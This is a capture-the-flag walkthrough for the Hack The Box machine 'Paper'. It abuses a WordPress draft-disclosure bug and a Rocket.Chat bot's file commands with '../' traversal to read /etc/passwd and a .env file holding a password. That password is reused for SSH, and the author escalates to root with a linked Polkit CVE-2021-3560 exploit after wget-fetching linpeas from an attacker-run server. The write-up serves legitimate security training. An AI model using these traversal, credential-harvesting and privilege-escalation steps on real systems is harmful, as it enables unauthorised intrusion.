🖨️Paper
Difficulty - Easy

Link: https://app.hackthebox.com/machines/432
Nmap Scan
Let's start with enumeration with Nmap: nmap -sS -A -sC -sV -p- -T4 -oN scan.txt $ip
We can see that port 22, 80, 443 is up in which HTTP server is hosted on Port 80.
So, let's open that in our browser
TEST Page (port 80)

We can see that there is HTTP SERVER Test Page. There wasnt any thing special on there source too
After inspecting the traffic with Burp or OWASPZap or the browser's network developer tool we can see an unusual header

X-Backend-Server: office.paper Let's add this in our host and then try to visit the site
Add our machine IP with the host name: sudo nano /etc/hosts

office.paper
Now let's visit the webpage after successfully adding the Host

The webpage consists of two blogs after opening the blogs we can see that there are two comments ⬇


From the 1st comment we got some idea about the secret content which is saved in the Drafts of the user Michael
After checking the source page of the website we got it know that its a website buit on WordPress

Even from the Wappalyzer we can see that it's on Wordpress

So, let's run WPScan on the webpage
Now we have the WordPress version 5.2.3 Same was also specified by Wappalyzer.
After searching on google we got this Vulnerability https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
This will allow us to view private/draft post. Remember that we saw a comment regarding Draft
So, let's look at that draft by using: http://office.paper/?static=1
Viewing Drafts

Okay, now we have some information and a new Host!

Secret Registration to a chat system 😯
Again, heads up to nano /etc/hosts and add the this (do this as root)
Rocket.Chat
Opening the secret link that we got in the Drafts we are directed to

Now, create a new account and then login with the same 
After logging in wait for 10 - 15 sec we would be automatically added to a group chat

We don't have access to write in the chat box. Let's scroll up and read some of the chats that the employee had.
Okay we get to know that one of the users named "kellylikescupcake" added a bot named "recyclops" to the group

Here got an intro from Bot about what he/she can do also it have some interesting commands that we can use to gain the foothold

Okay from this we got to know that these two commands are of some use recyclops file {filename} and recyclops list {directoryname}
kellylikescupcake also told us that we can DM the bot! 
Now click on the bot and then click on the DM button to start a direct converstion with the bot

The bot is trying to read files using cat command. So let's try to get our user flag but..

Bot does not have access to the users.txt
and bot is also restricting us to do the command injection

Let's try to read /etc/passwd

From this we got the name of the users rocketchat and dwight
After reading this https://developer.rocket.chat/bots/creating-your-own-bot-from-scratch/develop-a-hubot-bot I got to know that .env file have the information about the user bot
Let's try to list the directory of / by using command: recyclops list ../

Take a look inside the hubot directory and we got

Here we got the file that we were looking for .env
Here is the content of .env

So, we have the password too ROCKETCHAT_PASSWORD=Queenofblad3s!23
Getting user shell
Let's try to connect to the machine via SSH. Remember that we got two usernames from the passwd file rocketchat and dwight with password Queenofblad3s!23

BOOM! we are in now. We can now get the user flag via: cat user.txt
Privilege Escalation
Now we have to escalate our privilege to root
Copy linpeas to machine via SCP or creating python server on out machine then downloading from it. I am using the 2nd method, create a python server on our host machine where linpeas.sh is stored by: python -m http.server Then use wget from the dwight shell: wget http://{ip}:8000/linpeas.sh
then

So, we have a famous vulnerability "Polkit-exploit CVE-2021-3560" .
We have python3 installed in our machine so we can use this exploit to gain the root shell https://github.com/Almorabea/Polkit-exploit
just create the file name poc.py by: touch poc.py and paste the above exploit

BOOM! we got the root shell!
Pwned!
Thanks for reading. Hope you have enjoyed and learned something. For any questions feel free to ping me on Twitter or LinkedIn
Last updated